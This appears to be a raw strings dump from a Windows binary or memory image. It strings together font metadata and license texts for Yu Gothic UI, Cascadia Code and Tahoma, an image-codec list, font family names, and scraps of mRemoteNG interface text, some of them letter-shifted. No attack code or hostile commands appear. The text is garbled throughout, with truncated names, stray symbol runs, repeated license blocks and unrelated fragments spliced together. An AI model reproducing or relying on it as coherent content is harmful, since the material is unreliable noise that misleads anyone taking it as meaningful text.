en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Light Yu Gothic UI Yu Gothic UI Light Regular YuGothicUI-Light *YUGOTHB.TTC !"#$%&' /012345678 <=>?@A TUVWXYZ[\]^_ `abcdefghi jklmnopq rstuvwxyu {|}~ PONLIGDCB :.-,+ en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Semibold Yu Gothic UI Yu Gothic UI Semibold Regular YuGothicUI-Semibold *YUGOTHB.TTC !"#$%&' /012345678 <=>?@A TUVWXYZ[\]^_ `abcdefghi jklmnopq rstuvwxyu {|}~ PONLIGDCB :.-,+ en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Bold Yu Gothic UI Yu Gothic UI Bold YuGothicUI-Bold *SIMSUNEXTG.TTF en-us Portions 2023 The Monotype Corporation. Version 1.02 Microsoft Corporation http://www.microsoft.com/typography Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Hans Hani Latn Regular SimSun-ExtG *MARLETT.TTF en-us 2006 Microsoft Corporation. All Rights Reserved. Version 5.01 Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Zsym Regular Marlett *TAHOMA.TTF 8:0_`2t #$%& -./0123456789 <=>?@ABCDEF HIJKLMNO !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| *TAHOMABD.TTF 8:0_`2t #$%& -./0123456789 <=>?@ABCDEF HIJKLMNO !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a jikmln oqprsutvw xzy{}| Tahoma TAHOMA Wingdings WINGDINGS Sitka Subheading SITKA SUBHEADING Sitka Heading Semibold SITKA HEADING SEMIBOLD Yu Gothic Medium YU GOTHIC MEDIUM Medium MEDIUM Sitka Subheading Semibold SITKA SUBHEADING SEMIBOLD Webdings WEBDINGS SimSun-ExtB SIMSUN-EXTB Sitka Small SITKA SMALL Sitka Text Semibold SITKA TEXT SEMIBOLD Sitka Display Semibold SITKA DISPLAY SEMIBOLD Symbol anner SYMBOL ANNER Yu Gothic YU GOTHIC Sylfaen xt Semibold SYLFAEN XT SEMIBOLD Verdana VERDANA Sitka Small Semibold SITKA SMALL SEMIBOLD Sitka Text SITKA TEXT Sitka Heading SITKA HEADING Sitka Display SITKA DISPLAY Sitka Banner SITKA BANNER Times New Roman Semibold TIMES NEW ROMAN SEMIBOLD Sitka Banner Semibold SITKA BANNER SEMIBOLD Trebuchet MS Semibold TREBUCHET MS SEMIBOLD Yu Gothic UI YU GOTHIC UI ia C TRALIGHT Cascadia Code SemiLight CASCADIA CODE SEMILIGHT Cascadia Code ExtraLight CASCADIA CODE EXTRALIGHT Cascadia Mono SemiLight CASCADIA MONO SEMILIGHT Cascadia Mono SemiBold CASCADIA MONO SEMIBOLD Cascadia Mono ExtraLight CASCADIA MONO EXTRALIGHT Cascadia Mono CASCADIA MONO Marlett MARLETT Yu Gothic UI Light YU GOTHIC UI LIGHT Cascadia Code SemiBold CASCADIA CODE SEMIBOLD Cascadia Mono Light CASCADIA MONO LIGHT Cascadia Code CASCADIA CODE ia M Yu Gothic UI Semibold YU GOTHIC UI SEMIBOLD ia C Yu Gothic UI Semilight YU GOTHIC UI SEMILIGHT Yu Gothic Light YU GOTHIC LIGHT Light LIGHT Cascadia Code Light CASCADIA CODE LIGHT ia C SimSun-ExtG SIMSUN-EXTG Arabic Transparent Arabic Transparent Arial Baltic Arial CE Arial CYR Arial Greek Arial TUR Courier New Baltic Courier New CE Courier New CYR Courier New Greek Courier New TUR Helvetica MS Shell Dlg 2 Tahoma Armenian Times Times New Roman Baltic Times New Roman CE Times New Roman CYR Times New Roman Greek Times New Roman TUR MS Shell Dlg Built-in ICO Codec *.ICO image/x-icon Built-in PNG Codec *.PNG image/png Built-in TIFF Codec TIFF *.TIF;*.TIFF image/tiff Built-in WMF Codec *.WMF image/x-wmf Built-in EMF Codec *.EMF image/x-emf Built-in GIF Codec *.GIF image/gif Built-in JPEG Codec JPEG *.JPG;*.JPEG;*.JPE;*.JFIF image/jpeg Built-in BMP Codec *.BMP;*.DIB;*.RLE image/bmp Tahoma DJDLQ ODWHU Tahoma WKDW SURYLGH IHDWXUHV IL[HV UHFRPPHQGHG WKDW DOORZ P5HPRWH1* FKHFN WKDW Display hat will be displayed in thethat may provide new featur UHFRPPHQGHG VHWWLQJV Tahoma !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFG 'LVSOD\ QDPH WKDW ZLOO GLVSOD\HG WKHWKDW SURYLGH IHDWX Tahoma Display ee. will be displayed in the you allow mRemoteNG to chec jjjjjj C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code CascadiaCodeRoman C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code SemiLight CascadiaCodeRoman-SemiLight C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code Light CascadiaCodeRoman-Light C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code SemiBold CascadiaCodeRoman-SemiBold C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code ExtraLight CascadiaCodeRoman-ExtraLight C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code Italic CascadiaCodeItalic-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code SemiLight SemiLight Italic Cascadia Code SemiLight Italic CascadiaCodeItalic-SemiLight-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF !"#$ en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/master/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software. THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. https://scripts.sil.org/OFL Cascadia Code Cascadia Code Light Light Italic Cascadia Code Light Italic CascadiaCodeItalic-Light-Italic C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF 89#t !"# '()*+, :943 en-us Weight Italic ExtraLight Light SemiLight Regular SemiBold Bold Roman 2021 Microsoft Corporation. All Rights Reserved. Version 2111.001 Cascadia Code is a trademark of the Microsoft group of companies. Saja Typeworks Aaron Bell http://sajatypeworks.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the SIL Open Font license (https://scripts.sil.org/OFL), applies to this font. Additional license terms may be found on the GitHub repository for this font (https://github.com/microsoft/cascadia-code/blob/main/LICENSE). Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions: 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself. 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user. 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users. 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission. 